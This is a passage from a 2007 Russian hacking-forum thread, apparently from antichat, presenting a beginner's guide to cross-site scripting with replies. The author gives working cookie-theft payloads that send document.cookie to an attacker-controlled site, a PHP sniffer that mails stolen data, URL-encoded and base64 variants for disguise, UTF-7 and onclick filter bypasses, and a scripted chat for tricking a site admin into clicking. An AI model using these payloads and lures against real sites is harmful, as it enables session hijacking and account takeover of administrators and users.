PDA

Просмотр полной версии : Cross Site Scripting для новичков


_Pantera_
09.07.2007, 21:26
Cross Site Scripting для новичков
Целью являеться объединение всех начальных тем про XSS. Статью писал от себя, накопленными мной знаниями, некоторые моменты были взяты с разных источников.

Кто выше МОА или знаком с XSS идем сюда (http://forum.antichat.ru)


Начнем с самого начала

Для обнаружения XSS необходимо во все поля вписать следующий скрипт
<script>alert()</script>
Если она не сработала, это еще не значит что ее там нет. Смотрим сорс странички и видим примерно следующие:
<a href="index.php?id=1<script>alert()</script>">2</a>
Из примера видно что файлу index.php с параметром id передаеться 1<script>alert()</script>. Это как раз то что нам надо. Для того что б скрипт сработал необходимо закрыть тег. Это можно сделать передав парамету id значение "><script>alert()</script>
После закрытия код выглядит вот так:
<a href="index.php?id=1"><script>alert()</script>">2</a>
и мы видим алерт, который сообщает нам что уязвимость присутствует. Иногда бывает так, что стандартный способ не проходит, тогда пробуем подставить
<IMG SRC="javascript:alert();
Но и это не всегда проходит, так как веб-мастера тоже не лохи, они фильтруют или вырезают спецальные символы. Для обхода можно использовать способ, который описал Algol. Кодировать будем кодировкой UTF-7.

В ней используються символы: +,-,!,буквы латинского алфавита и цыфры, а они обычно не фильтруються :)
Но к сажелению этот способ работает только под IE, и у вас должен стоять автовыбор кодировки.
Пример работы можете посмотреть здесь (http://old.antichat.ru/txt/utf7/example3.html)
+ADw-script+AD4-alert();+ADw-/script+AD4-
< кодируется как +ADw-
> кодируется как +AD4-
Более подробно можно почитать здесь (http://old.antichat.ru/txt/utf7/)
Ну что ж, а что с этим делать спросите вы? - а вот что:
1. Зайдите на сайт где есть пасивная XSS
2. Зарегестрируйтесь на нем
3. Зайдите под своим акком
4. Впешите вот этот скрипт <script>alert(document.cookie)</script> в поле где была обнаружена XSS
Теперь выскочил не просто алерт, в нем записаны ваши куки. Но цель то наша не посмотреть наши куки,
а угнать чужие.

Делаеться это так:
1. Регестрируемся на бесплатном хостинге с поддержкой PHP
2. Создаем свой снифер
Я написал простенький снифер, думаю многм начинающим он очень пригодиться.
Для начала создадим главный файл для кода снифера и назовем его к примеру s.php
В него впишем вот этот код
<?php
$ip = UrlDecode(getenv('REMOTE_ADDR'));
$referer = UrlDecode(getenv('HTTP_REFERER'));
$query = UrlDecode(getenv('QUERY_STRING'));
mail("vasemilo@mail.ru", "Cookie", "IP: $ip\n Adress: $referer\n Query: $query");
?>
Далее берем любую маленькую гиф картинку и называем ее image.gif
И самое последнее создем файл .htaccess и вписуем в него
RewriteEngine On
RewriteRule image.gif s.php
Теперь при обращеннии к картинке будет выполняться наш php файл.
3. Наиболее ответственный момент, необходимо подсунуть нашей жертве скрипт, который крадет куки. Вот он:
<script>img = new Image(); img.src = "http://vash-site.ru/image.gif?"+document.cookie;</script>
Когда жертва пройдет по ссылке, его куки будут отправленны вам на почу. Это все конечно хорошо, но
ссылка со скриптом в таком виде будет выглядить очень подозрительной, для этого необходимо ее закодировать в url кодировку.
Теперь скрипт будет выгледить вот так:
%3C%73%63%72%69%70%74%3E%69%6D%67%20%3D%20%6E%65%7 7%20%49%6D%61%67%65%28%29%3B%20%69%6D%67%2E%73%72% 63%20%3D%20%22%68%74%74%70%3A%2F%2F%76%61%73%68%2D %73%69%74%65%2E%72%75%2F%69%6D%61%67%65%2E%67%69%6 6%3F%22%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B% 69%65%3B%3C%2F%73%63%72%69%70%74%3E
Но можно еще сделать по другому, а именно создать на своем сайте файлик 1.js в него вписать
img=new Image(); img.src="http://vash-site.ru/image.gif?"+document.cookie;
и давать уже ссылку на наш скрипт
http://www.site.ru/index.php?id=<script src=http://vash-site.ru/1.js></script>
или закодированный вариант
http://www.site.ru/index.php?id=%3C%73%63%72%69%70%74%20%73%72%63%3D% 68%74%74%70%3A%2F%2F%76%61%73%68%2D%73%69%74%65%2E %72%75%2F%31%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3 E
как видите, такая ссылка менее подозрительно и впарить ее админу намного легче, вот пример:
Я: привет
админ: привет
Я: что это за бред у тебя с сайтом http://site.ru/index.php?id=%3C%73%63%72%69%70%74%20%73%72%63%3D% 68%74%74%70%3A%2F%2F%76%61%73%68%2D%73%69%74%65%2E %72%75%2F%31%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3 E
Очень короткий разговор, но очень надежный. Люди по своей натуре очень любопытны, а тем более когда дело косаеться ихней собственности.
Вот таким вот довольно простым способом мы угнали куки админа. Теперь остается их заменить, и вы админ =)

С активными XSS дело намного проще.
1. находим поле в гостевой (к примеру) которое не фильтрует спец-символы
2. вписуем туда наш скрипт
3. добавляем сообщение и видим, что скрипт срабатывает каждый раз, при заходе на страничку, т.е нам не надо давать страшные длинные ссылки с закодированным скриптом, достаточно просто дать ссылку адмну, (что б долго не ждать)
на его гостевую и куки у нас в руках =) (правда там куки не всегда есть)
На форумах все предстоит по другому. Разрешены только BB-теги. Достаточно неплохо о них написал Micr0b. Читать тут (http://forum.antichat.ru/thread20140.html)

XSS нападения через протокол DATA

Наверняка многие из вас не слышали о данном методе атак.
Что б было понятно я расскажу о нем на примере.
1. Зайдите на forum.antichat.ru и авторизируйтесь
2. Удалите из строки браузера url
3. Впешите data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raW UpPC9zY3JpcHQ+
4. И нажминте Enter
Как видите, в алерте отобразились наши куки =)
Смысл в том, что мы кодируем наш скрипт кодировкой base64, в данном случае <script>alert(document.cookie)</script>
и выполняем его. Прелесть этого вида атаки в том, что XSS есть даже когда на сайте стоят фильтры.
проверялась под Firefox/2.0.0.4

XSS нападение через Flash-анимации

Заключаеться в следующем.
1. Находим сайт, где разрешено публичное добовление Flesh мультика
2. Откроем Macromedia Flash
3. Жмем правой кнопкой мыши по первому кадру и выбираем в появившемся меню Actions
4. Вписываем getURL("javascript:alert()") и сохраняем
Впринцыпе у нас получиться активная XSS необходимо просто для пользы alert() заменить на код снифера =)



PS 1.1 надеюсь статья поможет новичкам, старался расписать все доступным языком. пользовался матерьялами forum.antichat.ru, www.inattack.ru.
1.2 Прежде чем написать что это боян и копи-паст читаем пункт 1.1

freddi
09.07.2007, 23:06
допиши еще про заливку всяких файлов (картинки, txt, pdf) со скриптом.

_Pantera_
09.07.2007, 23:33
допиши еще про заливку всяких файлов (картинки, txt, pdf) со скриптом.

Хорошим примером послужит бывшая XSS на mail.ru. Работала она под IE.
Брался простой txt файл и в него прописывался
<script>alert()</script>
сохранялся и переименовывался в *.jpg
Далее хакер отправлял письмо, только не с алертом, а с снифером и получал куки жертвы.

guest3297
10.07.2007, 17:02
Почитал бы про подробную реализацию во Феше с помошь action script.

Digimortal
10.07.2007, 18:27
invlose верно говорит : использовать XSS нападения через протокол DATA таким образом, как это описано в статье не выйдет => автор сам не разобрался в том о чем пишет => зачем тогда писать ??
все описано в статье очень и очень поверхностно, и почему-то весьма напоминает вот это: http://www.cyberinfo.ru/index.php?newsid=1078
=/

_Pantera_
10.07.2007, 18:47
Ребята, та мне наплевать что вам не понравилось. Я рад что моя статья помогла новичкам. А насчет нападения через протокол DATA попробуйте убрать пробелы.

ps Я никогда не пишу того, что не понимаю.

Digimortal
10.07.2007, 18:57
>> А насчет нападения через протокол DATA попробуйте убрать пробелы.

хмм.. в каком браузере и какой его версии ты увидел свои куки через self-contained xss?

_Pantera_
10.07.2007, 19:05
>> А насчет нападения через протокол DATA попробуйте убрать пробелы.

хмм.. в каком браузере и какой его версии ты увидел свои куки через self-contained xss?
Юзаю только FireFox

Digimortal
10.07.2007, 19:14
>> Юзаю только FireFox

версия?

_Pantera_
10.07.2007, 19:24
2.если на странице будет ссылка
с href='---закодировано--base64---' (то что ты привел как пример) то при нажатии на нее СТО процентов не вылезят куки сайта на котором была эта ссылка

Куки приходят, я проверял. Делаеться следующим образом
1 кодируеться в base64 <script>img = new Image(); img.src = "http://site.ru/image.gif?"+document.cookie;</script>
получаеться
PHNjcmlwdD5pbWcgPSBuZXcgSW1hZ2UoKTsgaW1nLnNyYyA9IC JodHRwOi8vc2l0ZS5ydS9pbWFnZS5naWY/Iitkb2N1bWVudC5jb29raWU7PC9zY3JpcHQ+
2 Вписуеться в окно браузера
data:text/html;base64,PHNjcmlwdD5pbWcgPSBuZXcgSW1hZ2UoKTsgaW 1nLnNyYyA9ICJodHRwOi8vc2l0ZS5ydS9pbWFnZS5naWY/Iitkb2N1bWVudC5jb29raWU7PC9zY3JpcHQ+
3 нажимаеться ENTER и куки приходят, в моем случае на мыло

Firefox/2.0.0.4 думаю на других работать тоже должно

Digimortal
10.07.2007, 19:43
мдя, в ФФ1.5 и в minefild - срабатует нормально => ее можно считать браузерозависимой xss
в операх от 8 до 9-й версии такого эффекта не наблюдается.. (хотя и можно некоторым образом ее использовать)
а ie вообще data не поддерживает..

беру свои слова насчет, того, что ты не разобрался в этой xss назад,
но все же, статья получилась поверхностной и недоработанной: когда работаешь с xss - проверять ее работоспособность на наиболее популярных браузерах имхо ПРОСТО ОБЯЗАТЕЛЬНО.. если б ты проделал подобную работу сейчас бы не было тут наших споров и статья бы имела большую полезность..

Zitt
10.07.2007, 21:03
имхо зря вы на него накинулись, афтор не задавался целью описать все апекты xss в подробностях.... ТО что надо для первого ознакомления и понимая сути присутствует....


А теперь попробуйте зайти на любой форум, войти под своим именем пользователя и ввести в браузере, не уходя с форума, адрес:data:text/html;base64, PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcH Q+
(с) http://www.cyberinfo.ru/index.php?newsid=1078

Куки алертицца)

gemaglabin
10.07.2007, 22:39
На античате тысяча и одна статья как пихать <script>alert()</script , но никто не копает глубже.Вам не надоело писать одно и тоже ТЫСЯЧУ раз?


onclick='123["e"[0]+"v"[0]+"a"[0]+"l"[0]](alert(/1/))
onclick='open*eval*(alert(/1/))
onclick=top['ev'["con"+"cat"]('al')](alert(/1/))

+toxa+
10.07.2007, 23:23
Shadow']А как на счет https://forum.antichat.ru/thread42951.html ?
А там написано что-то новое?)))

slider
14.07.2007, 16:25
2 Вписуеться в окно браузера
data:text/html;base64,PHNjcmlwdD5pbWcgPSBuZXcgSW1hZ2UoKTsgaW 1nLnNyYyA9ICJodHRwOi8vc2l0ZS5ydS9pbWFnZS5naWY/Iitkb2N1bWVudC5jb29raWU7PC9zY3JpcHQ+
Firefox/2.0.0.4 думаю на других работать тоже должно
можно и просто так... на любых браузерах...
javascript:alert(document.cookie);

ettee
14.07.2007, 18:51
Data -протокол (IE его не поддерживает), это относится к уязвимости ПО (Опера и к браузерам построенных на движке Gecko).